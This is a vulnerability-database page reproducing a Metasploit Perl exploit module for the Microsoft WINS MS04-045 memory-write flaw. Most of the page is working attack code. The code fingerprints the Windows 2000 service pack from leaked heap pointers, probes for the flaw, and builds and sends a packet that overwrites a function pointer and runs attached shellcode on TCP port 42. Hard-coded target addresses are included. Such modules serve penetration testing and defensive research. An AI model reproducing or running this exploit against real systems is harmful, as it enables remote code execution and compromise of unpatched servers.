Lucene search
K

wins_ms04_045.pm

🗓️ 12 Jan 2005 00:00:00Reported by H D MooreType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Microsoft WINS MSO4-045 exploits a flaw for arbitrary memory writes, enabling code execution.

Code
`  
##  
# This file is part of the Metasploit Framework and may be redistributed  
# according to the licenses defined in the Authors field below. In the  
# case of an unknown or missing license, this file defaults to the same  
# license as the core Framework (dual GPLv2 and Artistic). The latest  
# version of the Framework can always be obtained from metasploit.com.  
##  
  
package Msf::Exploit::wins_ms04_045;  
use base "Msf::Exploit";  
use strict;  
  
my $advanced =   
{  
'BASE' => [0, 'Specify the exact address to the structure'],  
'TARG' => [0, 'Specify the exact address to overwrite'],  
'WHAT' => [0, 'Specify the data used to overwrite the address'],  
};  
  
my $info =  
{  
'Name' => 'Microsoft WINS MSO4-045 Code Execution',  
'Version' => '$Revision: 1.18 $',  
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],  
'Arch' => [ 'x86' ],  
'OS' => [ 'win32', 'win2000' ],  
'Priv' => 1,  
'AutoOpts' => { 'EXITFUNC' => 'process' },  
'UserOpts' =>   
{  
'RHOST' => [1, 'ADDR', 'The target address'],  
'RPORT' => [1, 'PORT', 'The target port', 42],  
},  
  
'Payload' =>   
{  
'Space' => 8000,  
'MinNops' => 512,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500  
'Keys' => ['+ws2ord'],  
},  
  
'Description' => Pex::Text::Freeform(qq{  
This module exploits a arbitrary memory write flaw in the WINS service.  
}),  
  
'Refs' =>   
[   
['MSB', 'MS04-045'],  
],  
'Targets' =>  
[  
['Windows 2000 English', [ 0x5391f40 ], 0x53df4c4, 0x53922e0]  
],  
'Keys' => ['wins'],   
};  
  
sub new {  
my $class = shift;  
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);  
return($self);  
}  
  
sub Check {  
my $self = shift;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');   
  
my ($ret, $fprint, $check) = @{ $self->Fingerprint };  
  
if ($ret < 0) {  
return $check;  
}  
  
if ($ret == 0) {  
$self->PrintLine("[*] This system does not appear to be vulnerable.");  
return $check;  
}  
  
$self->PrintLine("[*] This system appears to be vulnerable.");  
if ($fprint->{'os'} ne '?') {  
my $os = $fprint->{'os'} eq '?' ? 'Unknown Windows' : 'Windows '. $fprint->{'os'};  
my $sp = $fprint->{'sp'} eq '?' ? '' : 'SP '. $fprint->{'sp'};  
my $vi = $fprint->{'vi'} == 1 ? '(clean heap)' : '(dirty heap)';  
my $hp = length($sp) ? $vi : '';  
$self->PrintLine("[*] Host $target_host is $os $sp $hp");  
}  
  
return $self->CheckCode('Safe');  
}  
  
sub Exploit {  
my $self = shift;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');  
my $target_idx = $self->GetVar('TARGET');  
  
my $shellcode = $self->GetVar('EncodedPayload')->Payload;  
  
my $target = $self->Targets->[$target_idx];  
  
if (! $self->InitNops(128)) {  
$self->PrintLine("[*] Failed to initialize the nop module.");  
return;  
}  
  
# Sanity check the WINS service  
my ($ret, $fprint, $check) = @{ $self->Fingerprint };  
  
if ($ret <= 0) {  
$self->PrintLine("[*] The target system does not appear to be vulnerable.");  
return;  
}  
  
  
# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the  
# same function pointer...  
if ($fprint->{'os'} ne '2000' || $fprint->{'sp'} !~ /^[0234]/ ) {  
$self->PrintLine("[*] The target system is not currently supported");  
return;  
}  
  
# This flag is un-set if the first leaked address is not the default of  
# 0x05371e90. This can indicate that someone has already tried to exploit  
# this system, or something major happened to the heap that will probably  
# prevent this exploit from working.  
if (! $fprint->{'vi'}) {  
$self->PrintLine("[*] The leaked heap address indicates that this attack may fail.");  
}  
  
# Allow for multiple attempts to find the base address  
# XXX - Brute force not implemented (or required so far)  
my @rloc = @{ $target->[1] };  
  
# Address of the function pointers to overwrite (courtesy anonymous donor)  
my $targ = $target->[2];  
  
# Address of the payload on the heap, past the structure  
my $code = $target->[3];  
  
# Advanced options can be used to overwrite  
@rloc = ( hex($self->GetVar('BASE')) ) if $self->GetVar('BASE');  
$targ = hex($self->GetVar('TARG')) if $self->GetVar('TARG');  
$code = hex($self->GetVar('WHAT')) if $self->GetVar('WHAT');  
  
  
  
foreach my $base (@rloc) {  
my ($req, $add);  
  
# Pointing at any aligned address into top 36 bytes will result in a   
# valid structure. This gives us some breathing room if things move   
# around a little bit.  
$add .= pack('V', $code) x 9;  
$add .= pack('V', $targ - 0x48) x 14;  
  
# Multiple copies are used in case things slide a little bit  
$req .= $add x 10;  
  
# Bling.  
$req .= $shellcode;  
  
# Random padding :-)  
$req .= Pex::Text::EnglishText(9200 - length($req));  
  
# Tack on the header  
my $pkt = pack('NNN', length($req) + 8, -1, $base). $req;  
  
# Poink!  
$self->PrintLine(sprintf("[*] Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", $targ, $code, $base));  
my $s = Msf::Socket::Tcp->new  
(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
);  
  
if ($s->IsError) {  
$self->PrintLine("[*] Socket error: " . $s->GetError());  
return(0);  
}  
  
$s->Send($pkt);  
$self->Handler($s);  
}  
  
return;  
}  
  
# This fingerprinting routine will cause the structure base address to slide down  
# 120 bytes. Subsequent fingerprints will not push this down any futher, however  
# we need to make sure that fingerprint is always called before exploitation or  
# the alignment will be way off.  
  
sub Fingerprint {  
my $self = shift;  
my $target_host = $self->GetVar('RHOST');  
my $target_port = $self->GetVar('RPORT');   
my $fprint = {};  
  
# This results in vulnerable servers leaking back some useful  
# pointers to the heap and to ntdll.dll. We can use these pointers  
# to determine the service pack.  
  
my $req =   
"\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00".  
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05".  
"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03".  
"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00";  
  
my $s = Msf::Socket::Tcp->new  
(  
'PeerAddr' => $target_host,  
'PeerPort' => $target_port,  
);  
  
if ($s->IsError) {  
$self->PrintLine("[*] Socket error: " . $s->GetError());  
return [-2, $fprint, $self->CheckCode('Connect') ];  
}  
  
$s->Send($req);   
my $res = $s->Recv(-1, 5);  
if (! $res) {  
$self->PrintLine("[*] No response to WINS probe.");  
$s->Close;  
return [-1, $fprint, $self->CheckCode('Connect') ];  
}  
  
my @ptrs = ( unpack('N', substr($res, 16, 4)), unpack('VVV', substr($res, 32)) );   
$self->PrintDebugLine(1, sprintf("[*] Pointers: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", @ptrs));  
  
  
my ($os, $sp, $vi) = ('2000', '?', '?');  
  
# Windows 2000 versions  
$sp = '0' if $ptrs[3] == 0x77f8ae78;  
$sp = '1' if $ptrs[3] == 0x77f81f70;  
$sp = '2' if $ptrs[3] == 0x77f82680;  
$sp = '3' if $ptrs[3] == 0x77f83608;  
$sp = '4' if $ptrs[3] == 0x77f89640;  
$sp = '4++' if $ptrs[3] == 0x77f82518;  
  
# Probably not Windows 2000...  
$os = '?' if $sp eq '?';  
  
# Windows NT 4.0  
if ($ptrs[0] > 0x02300000 && $ptrs[0] < 0x02400000) {  
$os = 'NT';  
$sp = '?';  
}  
  
# Heap is still pristine...  
$vi = 1 if $ptrs[0] == 0x05371e90;  
  
# Store the fingerprints....  
$fprint->{'os'} = $os;  
$fprint->{'sp'} = $sp;  
$fprint->{'vi'} = $vi;  
  
# Probe to test vulnerability  
$req = "\x00\x00\x00\x0F\x00\x00\x78\x00". substr($res, 16, 4).  
"\x00\x00\x00\x03\x00\x00\x00\x00";  
$s->Send($req);  
$res = $s->Recv(-1, 3);  
  
$s->Close;  
  
if (substr($res, 6, 1) eq "\x78") {  
return [1, $fprint, $self->CheckCode('Appears') ];  
}  
  
return [0, $fprint, $self->CheckCode('Safe') ];  
}  
  
1;  
  
__END__  
SP0 [0x05371e90] 0x053dffa4 0x77fb80db 0x77f8ae78  
SP1 [0x05371e90] 0x0580ffa4 0x77fb9045 0x77f81f70  
SP2 [0x05371e90] 0x053dffa4 0x77fb9da7 0x77f82680  
SP3 [0x05371e90] 0x053dffa4 0x77f82b95 0x77f83608  
SP4 [0x05371e90] 0x053dffa4 0x77f98191 0x77f89640  
SP4 [0x00000040] 0x053dffa4 0x77f98191 0x77f89640 (patched)  
SP4 [0x0000003e] 0x053dffa4 0x77f81f55 0x77f82518 (mostly patched)  
  
NT4   
YES [0x023b1e98] 0x0014c3f0 0x00000048 0x00000000  
NOT [0x023d1dc8] 0x0014de60 0x00000048 0x0000023f  
YES [0x023b1ea0] 0x00000048 0x00000009 0x0000023e  
  
2K3 [0x00000040] 0x044bf584 0x01013c25 0x000003ac  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation